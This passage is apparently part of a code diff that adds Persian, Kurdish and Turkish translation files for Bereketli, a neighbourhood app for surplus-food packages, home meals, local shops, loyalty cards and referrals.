"pickupOrDelivery": "حضوری / تحویل",
"lastPortions": "آخرین {{count}}!",
"perPortion": "/ پرس",
"portionCount": "{{count}} پرس",
"emptyTitle": "غذای خانگی در نزدیکی شما نیست",
"emptyText": "فاصله را افزایش دهید یا بعدا دوباره بررسی کنید"
},
"mealDetail": {
"title": "جزئیات غذا",
"notFound": "غذا یافت نشد",
"defaultCook": "آشپز",
"priceLabel": "قیمت",
"pricePerPortion": "{{price}} لیر / پرس",
"availableUntil": "در دسترس",
"availableUntilValue": "تا {{time}}",
"remainingLabel": "باقیمانده",
"remainingValue": "{{remaining}} / {{total}} پرس",
"deliveryLabel": "تحویل",
"pickup": "حضوری",
"deliveryToAddress": "ارسال به آدرس",
"pickupOrDelivery": "حضوری / تحویل",
"portionLabel": "پرس",
"total": "مجموع",
"ordering": "در حال ثبت سفارش...",
"soldOut": "تمام شد",
"order": "سفارش بده",
"orderSuccess": "سفارش ثبت شد!",
"orderSuccessMsg": "سفارش #{{orderId}}\n{{portions}} پرس {{title}}\nمجموع: {{total}} لیر\n\nپس از تایید آشپز اطلاع‌رسانی خواهید شد.",
"orderFailed": "ثبت سفارش ناموفق بود."
},
"merchants": {
"title": "فروشگاه‌های محله",
"subtitle": "امتیاز جمع کنید، جایزه ببرید",
"searchPlaceholder": "جستجوی فروشگاه...",
"categoryAll": "همه",
"categoryBarber": "آرایشگاه",
"categoryCafe": "کافه",
"categoryButcher": "قصابی",
"categoryGreengrocer": "میوه‌فروشی",
"categoryBakery": "نانوایی",
"categoryPharmacy": "داروخانه",
"categoryTailor": "خیاطی",
"categoryOther": "سایر",
"nearbyMerchants": "فروشگاه‌های نزدیک",
"merchantCount": "{{count}} فروشگاه",
"proPlan": "فروشگاه پرو",
"businessPlan": "کسب‌وکار",
"emptyTitle": "فروشگاهی در نزدیکی شما یافت نشد",
"emptyText": "فاصله را افزایش دهید یا دسته‌بندی دیگری امتحان کنید"
},
"merchantDetail": {
"notFound": "فروشگاه یافت نشد",
"phoneNotRegistered": "شماره تلفن ثبت نشده است.",
"services": "خدمات",
"products": "محصولات",
"surprisePackages": "بسته‌های سورپرایز",
"buyButton": "خرید",
"loyaltyProgram": "برنامه وفاداری",
"loyaltyJoinHint": "در اولین بازدید خود به‌طور خودکار عضو می‌شوید",
"contact": "تماس",
"callSuffix": "تماس بگیرید",
"appointmentTitle": "رزرو نوبت",
"appointmentTimes": "ساعات موجود فردا:",
"appointmentCreated": "نوبت رزرو شد!",
"appointmentCreatedMsg": "{{service}}\n{{date}} ساعت {{time}}\n\nپس از تایید فروشگاه اطلاع‌رسانی خواهید شد.",
"appointmentFailed": "رزرو نوبت ناموفق بود.",
"orderCreated": "سفارش ثبت شد!",
"orderFailed": "ثبت سفارش ناموفق بود",
"callAndOrder": "تماس و سفارش",
"closeButton": "بستن"
},
"profile": {
"title": "حساب من",
"defaultUser": "کاربر",
"editHint": "ویرایش",
"editNameTitle": "ویرایش نام",
"namePlaceholder": "نام شما",
"nameRequired": "نام نمی‌تواند خالی باشد",
"nameUpdateFailed": "بروزرسانی نام ناموفق بود",
"ordersLabel": "سفارش‌های من",
"appointmentsLabel": "نوبت‌های من",
"loyaltyLabel": "وفاداری",
"discoverLabel": "کشف کنید",
"surprisePackages": "بسته‌های سورپرایز",
"surprisePackagesDesc": "بسته‌های تخفیف‌دار نزدیک شما",
"neighborhoodMerchants": "فروشگاه‌های محله",
"neighborhoodMerchantsDesc": "امتیاز جمع کنید، جایزه ببرید",
"securityLabel": "امنیت",
"changePassword": "تغییر رمز عبور",
"supportLabel": "پشتیبانی",
"faq": "سوالات متداول",
"faqDesc": "۱۸ سوال متداول - پاسخ‌های واقعی",
"contactLabel": "تماس",
"contactEmail": "destek@bereketli.app",
"website": "وب‌سایت",
"websiteUrl": "bereketli.pezkiwi.app",
"version": "نسخه",
"logout": "خروج",
"logoutConfirm": "آیا مطمئنید که می‌خواهید خارج شوید؟",
"logoutCancel": "لغو",
"deleteAccount": "حذف حساب من",
"deleteAccountDesc": "این عملیات قابل بازگشت نیست",
"deleteAccountConfirm": "این عملیات قابل بازگشت نیست. حساب و تمام اطلاعات شما به‌طور دائمی حذف خواهد شد.",
"deleteAccountButton": "حذف حساب من",
"deleteAccountFailed": "حذف حساب ناموفق بود. دوباره تلاش کنید.",
"language": "زبان",
"selectLanguage": "انتخاب زبان"
},
"changePassword": {
"title": "تغییر رمز عبور",
"subtitle": "برای امنیت، رمز عبور فعلی خود را وارد کنید",
"currentPassword": "رمز عبور فعلی",
"currentPasswordPlaceholder": "رمز عبور فعلی شما",
"newPassword": "رمز عبور جدید",
"newPasswordPlaceholder": "حداقل ۸ کاراکتر",
"confirmPassword": "تکرار رمز عبور جدید",
"confirmPasswordPlaceholder": "رمز عبور جدید را دوباره وارد کنید",
"changing": "در حال تغییر...",
"change": "تغییر رمز عبور",
"allFieldsRequired": "لطفا همه فیلدها را پر کنید",
"passwordMinLength": "رمز عبور جدید باید حداقل ۸ کاراکتر باشد",
"passwordMismatch": "رمزهای عبور جدید مطابقت ندارند",
"success": "رمز عبور شما تغییر کرد",
"successTitle": "موفقیت",
"failed": "تغییر رمز عبور ناموفق بود. رمز عبور فعلی خود را بررسی کنید."
},
"faq": {
"title": "سوالات متداول",
"categoryAll": "همه",
"categoryGenel": "عمومی",
"categoryCustomers": "مشتریان",
"categoryBusinesses": "کسب‌وکارها",
"categoryPayment": "پرداخت",
"empty": "هنوز سوال متداولی اضافه نشده"
},
"appointments": {
"title": "نوبت‌های من",
"statusPending": "در انتظار",
"statusConfirmed": "تایید شده",
"statusCompleted": "تکمیل شده",
"statusCancelled": "لغو شده",
"statusNoShow": "حاضر نشد",
"cancelTitle": "لغو نوبت",
"cancelMessage": "آیا مطمئنید که می‌خواهید این نوبت را لغو کنید؟",
"cancelConfirm": "لغو کن",
"cancelFailed": "لغو نوبت ناموفق بود.",
"durationMin": "{{min}} دقیقه",
"emptyTitle": "هنوز نوبتی ندارید",
"emptyText": "از بخش فروشگاه‌ها با آرایشگاه یا خیاطی نوبت بگیرید",
"days": {
"sunday": "یکشنبه",
"monday": "دوشنبه",
"tuesday": "سه‌شنبه",
"wednesday": "چهارشنبه",
"thursday": "پنجشنبه",
"friday": "جمعه",
"saturday": "شنبه"
}
},
"loyalty": {
"title": "کارت‌های وفاداری من",
"stampUnit": "مهر",
"pointUnit": "امتیاز",
"visitUnit": "بازدید",
"redeemButton": "دریافت جایزه",
"notReady": "هنوز آماده نیست",
"notReadyMsg": "{{progress}} را تکمیل کنید تا جایزه خود را دریافت کنید.",
"redeemTitle": "دریافت جایزه",
"redeemMessage": "{{reward}}\n\nآیا می‌خواهید جایزه خود را دریافت کنید؟",
"redeemSuccess": "تبریک!",
"redeemSuccessMsg": "جایزه شما استفاده شد.",
"redeemFailed": "دریافت جایزه ناموفق بود",
"lastVisit": "آخرین بازدید: {{date}}",
"emptyTitle": "هنوز کارت وفاداری ندارید",
"emptyText": "با خرید از فروشگاه‌های محله امتیاز جمع کنید",
"exploreMerchants": "کشف فروشگاه‌ها"
},
"chat": {
"title": "دستیار برکتلی",
"placeholder": "پیام خود را بنویسید...",
"greeting": "سلام! من دستیار برکتلی هستم. چگونه می‌توانم کمکتان کنم؟",
"typing": "در حال نوشتن...",
"error": "پاسخی دریافت نشد، دوباره تلاش کنید",
"suggestPackages": "بسته‌های نزدیک من",
"suggestFood": "چه بخورم؟",
"suggestStore": "فروشگاهی پیشنهاد بده",
"suggestHez": "HEZ Coin چیست؟",
"listening": "در حال گوش دادن...",
"voiceError": "تشخیص صدا ناموفق بود، دوباره تلاش کنید",
"holdToTalk": "نگه دارید و صحبت کنید"
},
"referral": {
"title": "دعوت کن و کسب کن",
"totalPoints": "مجموع امتیاز شما",
"pointsUnit": "امتیاز",
"inviteLabel": "دعوت‌ها",
"completedLabel": "تکمیل‌شده",
"earnedLabel": "کسب‌شده",
"codeTitle": "کد دعوت شما",
"copy": "کپی",
"copied": "کپی شد",
"copiedMsg": "کد دعوت شما: {{code}}",
"whatsappShare": "اشتراک‌گذاری در واتساپ",
"share": "اشتراک‌گذاری",
"shareText": "به برکتلی بپیوندید، با هم کسب کنیم! کد دعوت من: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
"howItWorks": "چگونه کار می‌کند؟",
"step1Title": "دوست شما ثبت‌نام می‌کند",
"step1Desc": "{{points}}+ امتیاز کسب کنید",
"step2Title": "اولین سفارش را می‌دهد",
"step2Desc": "۱۰۰ امتیاز کسب کنید",
"step3Title": "هرچه بیشتر دعوت کنید",
"step3Desc": "بیشتر امتیاز کسب می‌کنید!",
"usePoints": "امتیازهای خود را استفاده کنید",
"usePoints1Title": "تخفیف در بسته‌ها",
"usePoints1Desc": "پیشنهادات فروشگاه‌ها",
"usePoints2Title": "تبدیل به HEZ Coin",
"usePoints2Desc": "به زودی",
"historyTitle": "تاریخچه دعوت‌ها",
"historyEmpty": "هنوز دعوتی ندارید",
"historyEmptyText": "کد خود را به اشتراک بگذارید و شروع به کسب امتیاز کنید"
}
}
@@ -0,0 +1,467 @@
{
"common": {
"loading": "Tê barkirin...",
"error": "Xeletî",
"retry": "Dîsa biceribîne",
"cancel": "Betal bike",
"ok": "Baş e",
"save": "Tomar bike",
"delete": "Jê bibe",
"back": "Paş",
"next": "Pêş",
"close": "Bigire",
"search": "Lêgerîn",
"noResults": "Encam nehat dîtin",
"pullToRefresh": "Ji bo nûkirinê bikişîne",
"or": "an",
"confirm": "Piştrast bike",
"all": "Hemû",
"distance": "Dûrahî",
"goBack": "Vegere",
"saving": "Tê tomarkirin...",
"info": "Agahî"
},
"tabs": {
"paketler": "Pakêt",
"komsu": "Cîran",
"esnaf": "Dikan",
"hesabim": "Hesabê min"
},
"auth": {
"subtitle": "Serlêdana taxa te",
"emailOrPhone": "E-peyam an Telefon",
"emailPlaceholder": "mînak@email.com an 05xx...",
"password": "Şîfre",
"passwordPlaceholder": "Şîfreya te",
"loggingIn": "Tê ketin...",
"login": "Têkevê",
"googleLogin": "Bi Google re têkevê",
"noAccount": "Hesabê te tune?",
"registerLink": "Xwe tomar bike",
"loginErrorTitle": "Xeletî",
"loginErrorRequired": "E-peyam/telefon û şîfre pêwîst in",
"googleTokenError": "Tokena Google-ê nehat girtin",
"googlePlayError": "Xizmetên Google Play ne amade ne",
"googleLoginFailed": "Têketina Google-ê biserneket",
"registerTitle": "Xwe Tomar Bike",
"registerSubtitle": "Bi xêr hatî Bereketlî",
"fullName": "Nav û Paşnav",
"fullNamePlaceholder": "Nav û paşnavê te",
"email": "E-peyam",
"emailOnlyPlaceholder": "mînak@email.com",
"phoneOptional": "Telefon (Bijartî)",
"phonePlaceholder": "05xx xxx xx xx",
"passwordLabel": "Şîfre",
"passwordMinPlaceholder": "Herî kêm 8 tîp",
"confirmPassword": "Şîfreyê dubare bike",
"confirmPasswordPlaceholder": "Şîfreya xwe dubare binivîse",
"referralCodeOptional": "Koda Dawetê (Bijartî)",
"referralCodePlaceholder": "Heke koda dawetê hebe binivîse",
"registering": "Tê tomarkirin...",
"register": "Xwe Tomar Bike",
"haveAccount": "Hesabê te berê heye?",
"loginLink": "Têkevê",
"registerErrorRequired": "Nav, e-peyam û şîfre pêwîst in",
"registerErrorPasswordMin": "Şîfre divê herî kêm 8 tîp be",
"registerErrorPasswordMatch": "Şîfre hev nagirin"
},
"splash": {
"subtitle": "Serlêdana taxa te",
"tagline": "Pêşî li windabûna xwarinê bigire, bereketê parve bike"
},
"onboarding": {
"slide1Title": "Pêşî li Windabûna Xwarinê Bigire",
"slide1Desc": "Hilberên ku di dawiya rojê de li dikanan dimînin bi bihayên kêm bikire. Hem pere xilas bike, hem jî qenciyê bike.",
"slide2Title": "Taxa Xwe Bibîne",
"slide2Desc": "Firin, mêwefrosh, qesab, berber û hêj bêtir yên nêzîk bibîne. Xalên dilsoziyê berhev bike, xelatan bi dest bixe.",
"slide3Title": "Dest Pê Bike",
"slide3Desc": "Cihê xwe parve bike, pakêtên surprîz û dikanên nêzîk bibîne!",
"locationLabel": "Cih",
"locationDesc": "Pakêtên nêzîk nîşan bide",
"notificationLabel": "Agahdarî",
"notificationDesc": "Ji derfetan haydar be",
"skip": "Derbas bike",
"next": "Pêş →",
"start": "Dest Pê Bike",
"micLabel": "Mîkrofon",
"micDesc": "Ji bo axaftina bi arîkarê AI re",
"cameraLabel": "Kamera",
"cameraDesc": "Ji bo QR kod û wêne"
},
"locationPicker": {
"title": "Cih Hilbijêre",
"useMyLocation": "Cihê Min Bi Kar Bîne",
"confirm": "Piştrast Bike",
"permissionRequired": "Destûra Cihê Pêwîst E",
"permissionMessage": "Ji kerema xwe destûra cihê ji Mîhengan veke.",
"gpsError": "Sînyala GPS Nehat Girtin",
"gpsErrorMessage": "Li cihekî vekirî dîsa biceribîne an jî ji nexşeyê pînek hilbijêre."
},
"packages": {
"deliveryAddress": "Navnîşana radestkirinê",
"selectLocation": "Cih hilbijêre",
"searchPlaceholder": "Li pakêt an dikan bigere...",
"sortLabel": "Rêzkirin",
"sortDistance": "Dûrahî",
"sortPrice": "Biha",
"sortRating": "Puan",
"delivery": "Radeskirin",
"discounted": "Daxistî",
"lastFew": "Yên dawî",
"priceRange": "Navbera Bihayê",
"referralBannerTitle": "Dawet Bike & Qezenc Bike",
"referralBannerDesc": "Hevalê xwe bîne, xal qezenc bike!",
"categoryAll": "Hemû",
"categoryBakery": "Firin",
"categoryRestaurant": "Xwaringeh",
"categoryPastry": "Şîranî",
"categoryMarket": "Bazaṛ",
"nearbyPackages": "Pakêtên Nêzîk",
"categoryPackages": "Pakêtên {{category}}",
"packageCount": "{{count}} pakêt",
"emptyTitle": "Li nêzîk pakêt tune",
"emptyText": "Dûrahiyê zêde bike an jî \"Hemû\" biceribîne",
"notificationPermission": "Destûra Agahdariyê",
"notificationPermissionMsg": "Divê tu destûrê bidî agahdariyan. Tu dikarî ji Mîhengan destûrê bidî.",
"notificationsEnabled": "Agahdarî Hatin Vekirin",
"notificationsEnabledMsg": "Tu ê ji pakêt û kampanyayên nû haydar bibî!",
"notificationRegisterFailed": "Tomarkirina agahdariyê biserneket."
},
"packageDetail": {
"title": "Hûrguliyên Pakêtê",
"notFound": "Pakêt nehat dîtin",
"loadError": "Agahiyên pakêtê nehatin barkirin",
"description": "Danasîn",
"details": "Hûrgulî",
"priceLabel": "Biha",
"pickupTime": "Dema Radestkirinê",
"remaining": "Yên Mayî",
"status": "Rewş",
"statusActive": "Çalak",
"statusSoldOut": "Qediya",
"statusExpired": "Dema Wê Derbas Bû",
"deliveryMethod": "Awayê Radestkirinê",
"pickup": "Were Bistîne",
"deliveryToAddress": "Radestkirina Malê",
"deliveryAddressPlaceholder": "Navnîşana radestkirinê binivîse",
"deliveryAddressRequired": "Ji kerema xwe navnîşana radestkirinê binivîse",
"total": "Tevahî",
"purchasing": "Sifariş tê dayîn...",
"purchase": "Bikire",
"orderCreated": "Sifariş Hat Çêkirin",
"orderCreatedMsg": "Sifariş #{{orderId}}\nTevahî: {{price}} TL\n\nTê veguhastin bo rûpela dravdanê.",
"viewOrder": "Sifarişê Bibîne",
"orderFailed": "Sifariş nehat çêkirin. Dîsa biceribîne.",
"discount": "%{{percent}} Daxistin"
},
"orders": {
"title": "Sifarişên Min",
"orderCount": "{{count}} sifariş",
"qrPickup": "Radestkirina QR",
"tabPackages": "Pakêt",
"tabMeals": "Xwarina Cîran",
"emptyPackagesTitle": "Hîn sifarişa pakêtê tune",
"emptyPackagesText": "Ji beşa Pakêtan sifarişa xwe ya yekem bide",
"emptyMealsTitle": "Hîn sifarişa xwarinê tune",
"emptyMealsText": "Ji beşa Cîran xwarina malê sifariş bike",
"statusPending": "Li Bendê",
"statusPaid": "Hat Dayîn",
"statusPickedUp": "Hat Stendin",
"statusCancelled": "Hat Betalkirin",
"statusRefunded": "Hat Vegerandin",
"statusAccepted": "Hat Pejirandin",
"statusRejected": "Hat Redkirin",
"statusCompleted": "Qediya",
"mealOrderBadge": "Xwarina Cîran",
"portions": "{{count}} pors"
},
"orderDetail": {
"backLabel": "Paş",
"notFound": "Sifariş nehat dîtin",
"loadError": "Agahiyên sifarişê nehatin barkirin",
"pickupCode": "Koda Radestkirinê",
"tokenLabel": "Token",
"qrHint": "Vê koda QR-ê nîşanî xebatkarê dikanê bide",
"orderDetails": "Hûrguliyên Sifarişê",
"orderNo": "Jimara Sifarişê",
"quantity": "Hejmar",
"unitPrice": "Bihayê Yekîneyê",
"total": "Tevahî",
"date": "Dîrok",
"paymentDate": "Dîroka Dravdanê",
"pickupDate": "Dîroka Radestkirinê",
"cancelDate": "Dîroka Betalkirinê",
"cancelling": "Tê betalkirin...",
"cancelOrder": "Sifarişê Betal Bike",
"cancelTitle": "Betalkirina Sifarişê",
"cancelMessage": "Tu bawer î ku dixwazî vê sifarişê betal bikî?",
"cancelConfirm": "Betal Bike",
"cancelSuccess": "Sifarişa te hat betalkirin",
"cancelFailed": "Sifariş nehat betalkirin",
"reviewButton": "Şîrove Binivîse",
"reviewTitle": "Ezmûna Xwe Binirxîne",
"reviewPlaceholder": "Şîroveya te (bijartî)",
"reviewSubmitting": "Tê şandin...",
"reviewSubmit": "Bişîne",
"reviewRatingRequired": "Ji kerema xwe puanekê hilbijêre",
"reviewSuccess": "Şîroveya te hat tomarkirin!",
"reviewSuccessTitle": "Spas",
"reviewFailed": "Şîrove nehat şandin",
"reviewDone": "Şîroveya te hat tomarkirin. Spas!"
},
"mealOrderDetail": {
"qrHint": "Vê koda QR-ê nîşanî xwediyê xwarinê bide",
"portionLabel": "Pors",
"orderDate": "Dîroka Sifarişê",
"acceptDate": "Dîroka Pejirandinê",
"deliveryDate": "Dîroka Radestkirinê",
"cancelDate": "Dîroka Betalkirinê"
},
"qrScan": {
"title": "Radestkirina QR",
"verifying": "Tê piştrastkirin...",
"scanPrompt": "Koda QR Bixwîne",
"instructions": "Dema ku sifarişa xwe distînî, koda QR ya li dikanê bi kameraya xwe bixwîne",
"successTitle": "Hat Stendin!",
"successMessage": "Sifariş #{{orderId}} bi serkeftî hat stendin.\n\nTevahî: {{price}} TL",
"errorMessage": "Koda QR nehat piştrastkirin. Dîsa biceribîne.",
"retryButton": "Dîsa Biceribîne"
},
"search": {
"placeholder": "Li pakêt, dikan an kategoriyê bigere...",
"popularCategories": "Kategoriyên Populer",
"popularSearches": "Lêgerînên Populer",
"resultCount": "{{count}} encam hatin dîtin",
"emptyTitle": "Encam nehat dîtin",
"emptyText": "Peyveke din a lêgerînê biceribîne"
},
"meals": {
"title": "Xwarina Cîranan",
"subtitle": "Ji malê, teze, pêbawer",
"searchPlaceholder": "Li xwarin an aşpêj bigere...",
"nearbyMeals": "Xwarinên Nêzîk",
"mealCount": "{{count}} xwarin",
"pickup": "Were Bistîne",
"delivery": "Radeskirin",
"pickupOrDelivery": "Stendin / Radeskirin",
"lastPortions": "Yên dawî {{count}}!",
"perPortion": "/ pors",
"portionCount": "{{count}} pors",
"emptyTitle": "Li nêzîk xwarina malê tune",
"emptyText": "Dûrahiyê zêde bike an paşê dîsa binêre"
},
"mealDetail": {
"title": "Hûrguliyên Xwarinê",
"notFound": "Xwarin nehat dîtin",
"defaultCook": "Aşpêj",
"priceLabel": "Biha",
"pricePerPortion": "{{price}} TL / pors",
"availableUntil": "Amade",
"availableUntilValue": "Heta {{time}}",
"remainingLabel": "Mayî",
"remainingValue": "{{remaining}} / {{total}} pors",
"deliveryLabel": "Radeskirin",
"pickup": "Were Bistîne",
"deliveryToAddress": "Radestkirina Malê",
"pickupOrDelivery": "Stendin / Radeskirin",
"portionLabel": "Pors",
"total": "Tevahî",
"ordering": "Sifariş tê dayîn...",
"soldOut": "Qediya",
"order": "Sifariş Bide",
"orderSuccess": "Sifariş Hat Dayîn!",
"orderSuccessMsg": "Sifariş #{{orderId}}\n{{portions}} pors {{title}}\nTevahî: {{total}} TL\n\nDema ku aşpêj piştrast bike tu ê haydar bibî.",
"orderFailed": "Sifariş nehat çêkirin."
},
"merchants": {
"title": "Dikanên Taxê",
"subtitle": "Xal berhev bike, xelatan bi dest bixe",
"searchPlaceholder": "Li dikan bigere...",
"categoryAll": "Hemû",
"categoryBarber": "Berber",
"categoryCafe": "Qehwexane",
"categoryButcher": "Qesab",
"categoryGreengrocer": "Mêwefrosh",
"categoryBakery": "Firin",
"categoryPharmacy": "Dermanxane",
"categoryTailor": "Cildirû",
"categoryOther": "Yên Din",
"nearbyMerchants": "Dikanên Nêzîk",
"merchantCount": "{{count}} dikan",
"proPlan": "Dikana Pro",
"businessPlan": "Business",
"emptyTitle": "Li nêzîk dikan nehat dîtin",
"emptyText": "Dûrahiyê zêde bike an kategoriyeke din biceribîne"
},
"merchantDetail": {
"notFound": "Dikan nehat dîtin",
"phoneNotRegistered": "Jimara telefonê ne tomarkirî ye.",
"services": "Xizmet",
"products": "Hilber",
"surprisePackages": "Pakêtên Surprîz",
"buyButton": "Bikire",
"loyaltyProgram": "Bernameya Dilsoziyê",
"loyaltyJoinHint": "Di serdana yekem de tu ê xweber beşdar bibî",
"contact": "Têkilî",
"callSuffix": "Lê Bike",
"appointmentTitle": "Randevû Bistîne",
"appointmentTimes": "Demên amade yên sibê:",
"appointmentCreated": "Randevû Hat Çêkirin!",
"appointmentCreatedMsg": "{{service}}\n{{date}} saet {{time}}\n\nDema ku dikan piştrast bike tu ê haydar bibî.",
"appointmentFailed": "Randevû nehat çêkirin.",
"orderCreated": "Sifariş Hat Çêkirin!",
"orderFailed": "Sifariş nehat çêkirin",
"callAndOrder": "Lê Bike û Sifariş Bide",
"closeButton": "Bigire"
},
"profile": {
"title": "Hesabê Min",
"defaultUser": "Bikarhêner",
"editHint": "Biguherîne",
"editNameTitle": "Navê Xwe Biguherîne",
"namePlaceholder": "Navê te",
"nameRequired": "Nav nikare vala be",
"nameUpdateFailed": "Nav nehat guhertin",
"ordersLabel": "Sifarişên Min",
"appointmentsLabel": "Randevûyên Min",
"loyaltyLabel": "Dilsozî",
"discoverLabel": "Bibîne",
"surprisePackages": "Pakêtên Surprîz",
"surprisePackagesDesc": "Pakêtên daxistî yên nêzîk",
"neighborhoodMerchants": "Dikanên Taxê",
"neighborhoodMerchantsDesc": "Xal berhev bike, xelatan bi dest bixe",
"securityLabel": "Ewlekarî",
"changePassword": "Şîfreyê Biguherîne",
"supportLabel": "Piştgirî",
"faq": "Pirsên Pir Pirsîn",
"faqDesc": "18 pirs — bersivên rastîn",
"contactLabel": "Têkilî",
"contactEmail": "destek@bereketli.app",
"website": "Malpera Webê",
"websiteUrl": "bereketli.pezkiwi.app",
"version": "Guharto",
"logout": "Derkeve",
"logoutConfirm": "Tu bawer î ku dixwazî derkevî?",
"logoutCancel": "Betal Bike",
"deleteAccount": "Hesabê Min Jê Bibe",
"deleteAccountDesc": "Ev kiryar venegere",
"deleteAccountConfirm": "Ev kiryar venegere. Hesabê te û hemû daneyên te yên her û her ên tên jêbirin.",
"deleteAccountButton": "Hesabê Min Jê Bibe",
"deleteAccountFailed": "Hesab nehat jêbirin. Dîsa biceribîne.",
"language": "Ziman",
"selectLanguage": "Ziman Hilbijêre"
},
"changePassword": {
"title": "Şîfreyê Biguherîne",
"subtitle": "Ji bo ewlekariyê şîfreya xwe ya niha binivîse",
"currentPassword": "Şîfreya Niha",
"currentPasswordPlaceholder": "Şîfreya te ya niha",
"newPassword": "Şîfreya Nû",
"newPasswordPlaceholder": "Herî kêm 8 tîp",
"confirmPassword": "Şîfreya Nû Dubare Bike",
"confirmPasswordPlaceholder": "Şîfreya nû dubare binivîse",
"changing": "Tê guhertin...",
"change": "Şîfreyê Biguherîne",
"allFieldsRequired": "Ji kerema xwe hemû qadan dagire",
"passwordMinLength": "Şîfreya nû divê herî kêm 8 tîp be",
"passwordMismatch": "Şîfreyên nû hev nagirin",
"success": "Şîfreya te hat guhertin",
"successTitle": "Serkeftî",
"failed": "Şîfre nehat guhertin. Şîfreya xwe ya niha kontrol bike."
},
"faq": {
"title": "Pirsên Pir Pirsîn",
"categoryAll": "Hemû",
"categoryGenel": "Giştî",
"categoryCustomers": "Kiriyar",
"categoryBusinesses": "Karsazî",
"categoryPayment": "Dravdan",
"empty": "Hîn pirs nehatine zêdekirin"
},
"appointments": {
"title": "Randevûyên Min",
"statusPending": "Li Bendê",
"statusConfirmed": "Hat Pejirandin",
"statusCompleted": "Qediya",
"statusCancelled": "Hat Betalkirin",
"statusNoShow": "Nehat",
"cancelTitle": "Betalkirina Randevûyê",
"cancelMessage": "Tu bawer î ku dixwazî vê randevûyê betal bikî?",
"cancelConfirm": "Betal Bike",
"cancelFailed": "Randevû nehat betalkirin.",
"durationMin": "{{min}} deq",
"emptyTitle": "Hîn randevûya te tune",
"emptyText": "Ji beşa Dikanan bi berber an cildirûyê re randevû bistîne",
"days": {
"sunday": "Yekşem",
"monday": "Duşem",
"tuesday": "Sêşem",
"wednesday": "Çarşem",
"thursday": "Pêncşem",
"friday": "În",
"saturday": "Şemî"
}
},
"loyalty": {
"title": "Kartên Dilsoziya Min",
"stampUnit": "mohr",
"pointUnit": "xal",
"visitUnit": "serdan",
"redeemButton": "Xelatê Bistîne",
"notReady": "Hîn amade nîne",
"notReadyMsg": "{{progress}} temam bike da ku xelatê xwe bistînî.",
"redeemTitle": "Xelatê Bistîne",
"redeemMessage": "{{reward}}\n\nTu dixwazî xelatê xwe bistînî?",
"redeemSuccess": "Pîroz be!",
"redeemSuccessMsg": "Xelata te hat bikaranîn.",
"redeemFailed": "Xelat nehat stendin",
"lastVisit": "Serdana dawî: {{date}}",
"emptyTitle": "Hîn karta dilsoziyê tune",
"emptyText": "Ji dikanên taxê kirîn bike û xalan berhev bike",
"exploreMerchants": "Dikanan Bibîne"
},
"chat": {
"title": "Alîkarê Bereketlî",
"placeholder": "Peyama xwe binivîse...",
"greeting": "Silav! Ez alîkarê Bereketlî me. Ez çawa dikarim alîkariya te bikim?",
"typing": "dinivîse...",
"error": "Bersiv nehat girtin, dîsa biceribîne",
"suggestPackages": "Pakêtên li nêzîk",
"suggestFood": "Ez çi bixwim?",
"suggestStore": "Dikanek pêşniyar bike",
"suggestHez": "HEZ Coin çi ye?",
"listening": "Guhdarî dikim...",
"voiceError": "Naskirina deng bi ser neket, dîsa biceribîne",
"holdToTalk": "Pêl bide û biaxive"
},
"referral": {
"title": "Dawet Bike & Qezenc Bike",
"totalPoints": "Xalên Te yên Tevahî",
"pointsUnit": "xal",
"inviteLabel": "Dawet",
"completedLabel": "Temam",
"earnedLabel": "Qezenckirî",
"codeTitle": "Koda Daweta Te",
"copy": "Kopî Bike",
"copied": "Hat Kopîkirin",
"copiedMsg": "Koda daweta te: {{code}}",
"whatsappShare": "Bi WhatsApp-ê Parve Bike",
"share": "Parve Bike",
"shareText": "Were Bereketlî, em bi hev re qezenc bikin! Koda daweta min: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
"howItWorks": "Çawa Dixebite?",
"step1Title": "Hevalê te xwe tomar dike",
"step1Desc": "{{points}}+ xal qezenc bike",
"step2Title": "Sifarişa yekem dide",
"step2Desc": "100 xal qezenc bike",
"step3Title": "Çiqas zêde dawet bikî",
"step3Desc": "Ewqas zêde xal qezenc dikî!",
"usePoints": "Xalên Xwe Bi Kar Bîne",
"usePoints1Title": "Daxistinên li pakêtan",
"usePoints1Desc": "Pêşniyarên dikanan",
"usePoints2Title": "Veguherîne HEZ Coin",
"usePoints2Desc": "Nêzîk e",
"historyTitle": "Dîroka Dawetan",
"historyEmpty": "Hîn dawet tune",
"historyEmptyText": "Koda xwe parve bike û dest bi qezenckirin bike"
}
}
@@ -0,0 +1,467 @@
{
"common": {
"loading": "Yukleniyor...",
"error": "Hata",
"retry": "Tekrar Dene",
"cancel": "Vazgec",
"ok": "Tamam",
"save": "Kaydet",
"delete": "Sil",
"back": "Geri",
"next": "Ileri",
"close": "Kapat",
"search": "Ara",
"noResults": "Sonuc bulunamadi",
"pullToRefresh": "Yenilemek icin cekin",
"or": "veya",
"confirm": "Onayla",
"all": "Tumu",
"distance": "Mesafe",
"goBack": "Geri Don",
"saving": "Kaydediliyor...",
"info": "Bilgi"
},
"tabs": {
"paketler": "Paketler",
"komsu": "Komsu",
"esnaf": "Esnaf",
"hesabim": "Hesabim"
},
"auth": {
"subtitle": "Mahallenin uygulamasi",
"emailOrPhone": "Email veya Telefon",
"emailPlaceholder": "ornek@email.com veya 05xx...",
"password": "Sifre",
"passwordPlaceholder": "Sifreniz",
"loggingIn": "Giris yapiliyor...",
"login": "Giris Yap",
"googleLogin": "Google ile Giris Yap",
"noAccount": "Hesabiniz yok mu?",
"registerLink": "Kayit Olun",
"loginErrorTitle": "Hata",
"loginErrorRequired": "Email/telefon ve sifre gerekli",
"googleTokenError": "Google giris token alinamadi",
"googlePlayError": "Google Play Services kullanilabilir degil",
"googleLoginFailed": "Google giris basarisiz",
"registerTitle": "Kayit Ol",
"registerSubtitle": "Bereketli'ye hosgeldiniz",
"fullName": "Ad Soyad",
"fullNamePlaceholder": "Adiniz Soyadiniz",
"email": "Email",
"emailOnlyPlaceholder": "ornek@email.com",
"phoneOptional": "Telefon (Opsiyonel)",
"phonePlaceholder": "05xx xxx xx xx",
"passwordLabel": "Sifre",
"passwordMinPlaceholder": "En az 8 karakter",
"confirmPassword": "Sifre Tekrar",
"confirmPasswordPlaceholder": "Sifrenizi tekrarlayin",
"referralCodeOptional": "Davet Kodu (Opsiyonel)",
"referralCodePlaceholder": "Varsa davet kodunu girin",
"registering": "Kayit yapiliyor...",
"register": "Kayit Ol",
"haveAccount": "Zaten hesabiniz var mi?",
"loginLink": "Giris Yapin",
"registerErrorRequired": "Isim, email ve sifre gerekli",
